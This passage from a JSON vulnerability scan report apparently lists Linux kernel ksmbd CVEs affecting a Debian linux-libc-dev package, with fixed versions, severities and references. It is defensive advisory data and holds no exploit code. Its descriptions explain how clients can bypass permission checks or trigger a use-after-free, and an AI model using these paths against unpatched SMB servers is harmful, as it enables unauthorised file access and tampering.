"https://git.kernel.org/stable/c/1665f25b1dea30bf2d02e16245d203a944c9d994", "https://git.kernel.org/stable/c/3317a5d015fca976475aa71df224056777316fde", "https://git.kernel.org/stable/c/3409aedf3c81a810243da94164f6621c9d205c98", "https://git.kernel.org/stable/c/9647492b5e41954be59d5157eddbcd4cdc1656f7", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-9mddey9wpxbl.toml", "https://linux.oracle.com/cve/CVE-2026-64387.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026072526-CVE-2026-64387-ff1a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64387", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64387" ], "PublishedDate": "2026-07-25T10:17:22.02Z", "LastModifiedDate": "2026-10-19T21:17:35.29Z" }, { "VulnerabilityID": "CVE-2026-64389", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64389", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4bef51e1bb4f75c6c5dc19cef49789ef29f14a8ff6c9cdb0b32ebbba3be695c9", "Title": "kernel: ksmbd: validate NTLMv2 response before updating session key", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: validate NTLMv2 response before updating session key\n\nksmbd_auth_ntlmv2() derives the NTLMv2 session key into\nsess-\u003esess_key before it verifies the NTLMv2 response.\nksmbd_decode_ntlmssp_auth_blob() then continues into KEY_XCH even\nwhen ksmbd_auth_ntlmv2() failed.\n\nWith SMB3 multichannel binding, the failed authentication operates on\nan existing session and the session setup error path does not expire\nbinding sessions. A client can send a binding session setup with a\nbad NT proof and KEY_XCH and still modify sess-\u003esess_key before\nSTATUS_LOGON_FAILURE is returned.\n\nRelevant path:\n\n smb2_sess_setup()\n -\u003e conn-\u003ebinding = true\n -\u003e ntlm_authenticate()\n -\u003e session_user()\n -\u003e ksmbd_decode_ntlmssp_auth_blob()\n -\u003e ksmbd_auth_ntlmv2()\n -\u003e calc_ntlmv2_hash()\n -\u003e hmac_md5_usingrawkey(..., sess-\u003esess_key)\n -\u003e crypto_memneq() returns mismatch\n -\u003e KEY_XCH arc4_crypt(..., sess-\u003esess_key, ...)\n -\u003e out_err without expiring the binding session\n\nDerive the base session key into a local buffer and copy it to\nsess-\u003esess_key only after the proof matches. Return immediately on\nauthentication failure so KEY_XCH is only processed after successful\nauthentication.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64389", "https://git.kernel.org/linus/954d196bebb2b50151cb96454c72dc113b2af1ac%20%287.2-rc1%29", "https://git.kernel.org/stable/c/89ca7756d5566ba636bb9092cdbe57dab095e136", "https://git.kernel.org/stable/c/954d196bebb2b50151cb96454c72dc113b2af1ac", "https://git.kernel.org/stable/c/a6a951416b55eaf51ea2742f7ba786f240e70137", "https://git.kernel.org/stable/c/b56400364aed5c34d6e1a0b493081290a5328a9c", "https://git.kernel.org/stable/c/e589e997bddde0a6f45672dd871cba7b3ff28e17", "https://git.kernel.org/stable/c/f5d74c186bab26a5d5a025305e67edd0888aa34d", "https://lore.kernel.org/linux-cve-announce/2026072527-CVE-2026-64389-de36@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64389", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://www.cve.org/CVERecord?id=CVE-2026-64389" ], "PublishedDate": "2026-07-25T10:17:22.227Z", "LastModifiedDate": "2026-10-30T13:19:35.7Z" }, { "VulnerabilityID": "CVE-2026-64392", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64392", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6deb370b87c502492628e58ac05783fce8813cd2398c34f45a4022e2336b252d", "Title": "kernel: ksmbd: use opener credentials for delete-on-close", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: use opener credentials for delete-on-close\n\nDelete-on-close can be completed by deferred or durable handle teardown,\nwhere no request work is available. Both the base-file unlink and the ADS\nxattr removal consequently run with the ksmbd worker credentials and can\nbypass filesystem permission checks.\n\nRun both operations with the credentials captured in struct file when the\nhandle was opened. This preserves the authenticated user's fsuid, fsgid,\nsupplementary groups and capability restrictions at final close.", "Severity": "HIGH", "VendorSeverity": { "photon": 4, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64392", "https://git.kernel.org/linus/52e2f21911158ec961cd5aae19c56460db382af0%20%287.2-rc1%29", "https://git.kernel.org/stable/c/18c59109bb6fb816d5102171666f87cf1e29901d", "https://git.kernel.org/stable/c/3cb2e6e2a6798909507b9d695e4b80e685e72d26", "https://git.kernel.org/stable/c/4b7059974549d278e30fe70e2a4e421f9839817d", "https://git.kernel.org/stable/c/52e2f21911158ec961cd5aae19c56460db382af0", "https://git.kernel.org/stable/c/e72c15085b6d86f45d224d98aa75b5cace4aaab9", "https://git.kernel.org/stable/c/f08b3f451f12eee4abd8a5981803bc36db84458b", "https://lore.kernel.org/linux-cve-announce/2026072528-CVE-2026-64392-d5b4@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64392", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64392" ], "PublishedDate": "2026-07-25T10:17:22.557Z", "LastModifiedDate": "2026-10-30T13:19:36.017Z" }, { "VulnerabilityID": "CVE-2026-64393", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64393", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c19ab08eeb4a7a2428d58526ba5fc5e3bbf18611b5511178a17ebeff3bfa925d", "Title": "kernel: ksmbd: run set info with opener credentials", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: run set info with opener credentials\n\nSMB2 SET_INFO handlers call path-based VFS helpers after checking the\naccess mask granted to the SMB handle. Those helpers perform their owner,\ninode permission and LSM checks using the current ksmbd worker credentials.\n\nRun the complete SET_INFO dispatch with the credentials captured when the\nhandle was opened. This also removes the separate security information\ncredential setup and keeps all SET_INFO classes under one credential scope.\n\nDirect override_creds() is used because it can nest with the request\ncredential overrides already used by rename and link helpers.", "Severity": "HIGH", "VendorSeverity": { "photon": 4, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64393", "https://git.kernel.org/linus/b383bcad3d2fe634b26efbce53e22bbb5753a520%20%287.2-rc1%29", "https://git.kernel.org/stable/c/0ce682867fd506f61f40c76bde7e4205bde34e87", "https://git.kernel.org/stable/c/20ee516a62989a8d505ee432f9e59525ea23984e", "https://git.kernel.org/stable/c/5cbabf3a71575cd31bc7785d92d4ab42338a654b", "https://git.kernel.org/stable/c/8cc9ec711f5255167247a9ab6a7179b787426ed7", "https://git.kernel.org/stable/c/b35afd5cf8fab236ef21117e42ee45691d4ffa7b", "https://git.kernel.org/stable/c/b383bcad3d2fe634b26efbce53e22bbb5753a520", "https://lore.kernel.org/linux-cve-announce/2026072528-CVE-2026-64393-200f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64393", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64393" ], "PublishedDate": "2026-07-25T10:17:22.663Z", "LastModifiedDate": "2026-09-04T19:08:35.457Z" }, { "VulnerabilityID": "CVE-2026-64394", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64394", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e77d00c4ba1a780efacb04ee1b544a0cf26540a72f8759525e36765e30cb7c1d", "Title": "kernel: ksmbd: add a WRITE_DAC/WRITE_OWNER check to SMB2 SET_INFO SECURITY", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: add a WRITE_DAC/WRITE_OWNER check to SMB2 SET_INFO SECURITY\n\ncommit cc57232cae23 (\"ksmbd: fix FSCTL permission bypass by adding a\npermission check for FSCTL_SET_SPARSE\") added a fp-\u003edaccess gate to\nfsctl_set_sparse and noted that \"similar handle-level checks exist in other\nfunctions but are missing here.\" The SMB2 SET_INFO SECURITY arm is one of\nthe missing ones, and the most security-relevant: smb2_set_info_sec() calls\nset_info_sec() with no per-handle access check.\n\nset_info_sec() (fs/smb/server/smbacl.c) re-permissions the file: it\nrewrites owner/group/mode via notify_change(), rewrites the POSIX ACL via\nset_posix_acl(), and on KSMBD_SHARE_FLAG_ACL_XATTR shares removes and\nrewrites the Windows security descriptor via ksmbd_vfs_set_sd_xattr().\nEvery other persistent-mutation arm of the sibling handler\nsmb2_set_info_file() checks fp-\u003edaccess first (FILE_WRITE_DATA /\nFILE_DELETE / FILE_WRITE_EA / FILE_WRITE_ATTRIBUTES); the SECURITY arm —\nwhich mutates the access control itself — is the only one with no gate.\n\nA client can therefore open a handle with FILE_WRITE_ATTRIBUTES only (no\nFILE_WRITE_DAC / FILE_WRITE_OWNER) and use SMB2_SET_INFO with InfoType\nSMB2_O_INFO_SECURITY to rewrite the file's DACL and owner, granting itself\naccess the handle's daccess never carried. Unlike the FSCTL data arms this\nis a metadata/xattr operation, so there is no FMODE_WRITE VFS backstop —\nthe missing fp-\u003edaccess check is the entire gate.\n\nSetting a security descriptor is the WRITE_DAC / WRITE_OWNER operation, so\nrequire at least one of those on the handle before re-permissioning the\nfile. -EACCES is mapped to STATUS_ACCESS_DENIED by smb2_set_info().", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64394", "https://git.kernel.org/linus/44df157a1183a7f746caa970c169255da5ac61f8%20%287.2-rc1%29", "https://git.kernel.org/stable/c/0848b1d8b403f530878195dcbe241a2fddb9d0e1", "https://git.kernel.org/stable/c/44df157a1183a7f746caa970c169255da5ac61f8", "https://git.kernel.org/stable/c/9ab2ffd3ed3d4ca1667c52de27026ddabc11e537", "https://git.kernel.org/stable/c/aae600cdaffc6d9ce97645f129799a103a97d06d", "https://git.kernel.org/stable/c/e6aa731f1b4b3e08caebf66a99f04b22bdab2e99", "https://git.kernel.org/stable/c/f56535db508ead8dec1c481ad93d7d8acd8f8f1e", "https://lore.kernel.org/linux-cve-announce/2026072528-CVE-2026-64394-9294@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64394", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64394" ], "PublishedDate": "2026-07-25T10:17:22.79Z", "LastModifiedDate": "2026-09-04T15:31:40.967Z" }, { "VulnerabilityID": "CVE-2026-64395", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64395", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:efd4172076bc5377ec17b9395b70fbed2252e5750a9c08cf5745ee41a89eb900", "Title": "kernel: ksmbd: require source read access for duplicate extents", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: require source read access for duplicate extents\n\nFSCTL_DUPLICATE_EXTENTS_TO_FILE passes the source file directly to\nvfs_clone_file_range() or vfs_copy_file_range() without checking the SMB\naccess mask granted to the source handle. A handle opened with attribute\naccess can consequently be used to copy file contents into an\nattacker-readable destination.\n\nRequire FILE_READ_DATA on the source handle before either VFS operation,\nmatching other ksmbd data-copy paths.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64395", "https://git.kernel.org/linus/cedff600f1642aa982178503552f0d007bc829c8%20%287.2-rc1%29", "https://git.kernel.org/stable/c/2d2ab6983620c2d60ce7db72133984ca3873b929", "https://git.kernel.org/stable/c/67bdad9cf01b25030e3bf00bbce6c309319d6663", "https://git.kernel.org/stable/c/a10942af27832c2761d020863a46e79bebe0567d", "https://git.kernel.org/stable/c/b0d4d5cb846a1ddb7aaab9adfb5986e4540e6e5f", "https://git.kernel.org/stable/c/cedff600f1642aa982178503552f0d007bc829c8", "https://git.kernel.org/stable/c/db231af842868268839f9f9619c68cb27830d8be", "https://lore.kernel.org/linux-cve-announce/2026072528-CVE-2026-64395-26a3@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64395", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64395" ], "PublishedDate": "2026-07-25T10:17:22.923Z", "LastModifiedDate": "2026-09-04T14:47:48.093Z" }, { "VulnerabilityID": "CVE-2026-64396", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64396", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1c672323c5d50eec555071a0462ea23118c3de2898a0d359e5bab2e92b4ecf8b", "Title": "kernel: ksmbd: Use-after-free vulnerability allows arbitrary code execution or denial of service", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix UAF of struct file_lock in SMB2_LOCK deferred-lock cancellation\n\nWhen a blocking byte-range lock request is deferred in the\nFILE_LOCK_DEFERRED path, ksmbd registers the asynchronous work into\nthe connection's async_requests list via setup_async_work(). The cancel\ncallback smb2_remove_blocked_lock() holds a reference to the flock.\n\nIf the lock waiter is subsequently woken up but the work state is no\nlonger KSMBD_WORK_ACTIVE (e.g., due to a concurrent cancellation), the\ncleanup path calls locks_free_lock(flock) without dequeuing the work from\nthe async_requests list. Concurrently, smb2_cancel() walks the list\nunder conn-\u003erequest_lock and invokes the cancel callback, which then\ndereferences the already freed 'flock'. This leads to a slab-use-after-free\ninside __wake_up_common.\n\nFix this by restructuring the cleanup logic after the worker returns\nfrom ksmbd_vfs_posix_lock_wait(). Move list_del(\u0026smb_lock-\u003ellist) and\nrelease_async_work(work) to the top of the cleanup block. This guarantees\nthat the async work is completely dequeued and serialized under\nconn-\u003erequest_lock before locks_free_lock(flock) is called, rendering\nthe flock unreachable for any concurrent smb2_cancel().", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64396", "https://git.kernel.org/linus/d20d1c8ba5765d1d12eefc0aee6385ab3f240e1e%20%287.2-rc1%29", "https://git.kernel.org/stable/c/367c42a611fe488b7b03f1f6737f4dee0e8b20a2", "https://git.kernel.org/stable/c/463bbd79698513af4dad50fe1c573825f297ca2e", "https://git.kernel.org/stable/c/5aa1cb01155f96824003baf7997cdf1f150caba3", "https://git.kernel.org/stable/c/5c75275c0fc9a2deb0d8f5604edcb16f288171c8", "https://git.kernel.org/stable/c/7703fd9aba1f2483c8e55f9ff73b7663e0761ed9", "https://git.kernel.org/stable/c/d20d1c8ba5765d1d12eefc0aee6385ab3f240e1e", "https://lore.kernel.org/linux-cve-announce/2026072528-CVE-2026-64396-7ca2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64396", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64396" ], "PublishedDate": "2026-07-25T10:17:23.04Z", "LastModifiedDate": "2026-09-04T14:47:23.99Z" }, { "VulnerabilityID": "CVE-2026-64398", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64398", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8342205c57bc870dd5e0001e234cf7db990ef4e2902920764e4b3214de1859c6", "Title": "kernel: ksmbd: add a permission check for FSCTL_SET_ZERO_DATA", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: add a permission check for FSCTL_SET_ZERO_DATA\n\nFSCTL_SET_ZERO_DATA in smb2_ioctl() destroys file data via\nksmbd_vfs_zero_data() -\u003e vfs_fallocate(PUNCH_HOLE/ZERO_RANGE) after\nchecking only the share-level KSMBD_TREE_CONN_FLAG_WRITABLE, with no\nper-handle access check. A handle opened with only FILE_WRITE_ATTRIBUTES\nstill yields an FMODE_WRITE filp (FILE_WRITE_ATTRIBUTES is part of\nFILE_WRITE_DESIRE_ACCESS_LE, so smb2_create_open_flags() opens it\nO_WRONLY), so the vfs_fallocate FMODE_WRITE check does not stop it; only\nthe missing fp-\u003edaccess gate would. Reproduced on mainline 7.1-rc7 with\nKASAN by an authenticated SMB client: a FILE_WRITE_ATTRIBUTES-only handle\nzeroed 4096 bytes of file data it had no FILE_WRITE_DATA right to\n(6/6; a FILE_READ_DATA-only handle was correctly denied).\n\nThis is the unfixed sibling of commit cc57232cae23 (\"ksmbd: fix FSCTL\npermission bypass by adding a permission check for FSCTL_SET_SPARSE\").\nBecause SET_ZERO_DATA writes data (not an attribute), require\nFILE_WRITE_DATA.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64398", "https://git.kernel.org/linus/3320ba068198adc144c89d6661b805acce01735b%20%287.2-rc1%29", "https://git.kernel.org/stable/c/25377f369688dd0bd814dc8965ed26d44238ecaa", "https://git.kernel.org/stable/c/3072d82461f498c85daea8766e9d8bfbada31605", "https://git.kernel.org/stable/c/3320ba068198adc144c89d6661b805acce01735b", "https://git.kernel.org/stable/c/57f2042fd87d7ce8fc3ac8b6c176e554df68b1a7", "https://git.kernel.org/stable/c/ca53bb17f4e8232cfaece3953d3cef62c559b039", "https://git.kernel.org/stable/c/deffa929086d7902e30918adf3dd27ccfe9c08b1", "https://lore.kernel.org/linux-cve-announce/2026072529-CVE-2026-64398-ff47@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64398", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64398" ], "PublishedDate": "2026-07-25T10:17:23.28Z", "LastModifiedDate": "2026-09-04T14:46:57.707Z" }, { "VulnerabilityID": "CVE-2026-64399", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64399", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ea4ab372709115e70bac6ccfb2c07a0c00cec4c260e1a4218be3b697f9edfbcb", "Title": "kernel: ksmbd: add permission checks for FSCTL_DUPLICATE_EXTENTS_TO_FILE", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: add permission checks for FSCTL_DUPLICATE_EXTENTS_TO_FILE\n\nThe FSCTL_DUPLICATE_EXTENTS_TO_FILE arm of smb2_ioctl() overwrites the\ndestination file's data via vfs_clone_file_range() with neither the\nshare-level KSMBD_TREE_CONN_FLAG_WRITABLE check nor a per-handle\nfp-\u003edaccess check that the other write-bearing arms carry. A client can\noverwrite destination data on a read-only share, or from a handle opened\nwith only FILE_WRITE_ATTRIBUTES (which still yields an FMODE_WRITE filp).\nFILE_WRITE_ATTRIBUTES-only destination handle overwrote the file's data via\nthe clone. Add both checks, matching the FSCTL_SET_SPARSE permission fix;\nrequire FILE_WRITE_DATA since this writes data.", "Severity": "HIGH", "VendorSeverity": { "photon": 4, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64399", "https://git.kernel.org/linus/388e4139db27a9e3612c9d356b826f5b1ff6a9e3%20%287.2-rc1%29", "https://git.kernel.org/stable/c/388e4139db27a9e3612c9d356b826f5b1ff6a9e3", "https://git.kernel.org/stable/c/620d133d469295ee7c017ca6aafac335f65c4a5a", "https://git.kernel.org/stable/c/9b9cf7e65cbeaae1b6636144bacee611cdd7a5d6", "https://git.kernel.org/stable/c/baae7b39673ec21073a25e3d14f8feaada01d5df", "https://git.kernel.org/stable/c/bf460ad5958d506492de4524a656439da3f99c51", "https://git.kernel.org/stable/c/c917e4522d251071dde9871b9142d8ea1186ebfe", "https://lore.kernel.org/linux-cve-announce/2026072529-CVE-2026-64399-4ae6@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64399", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", 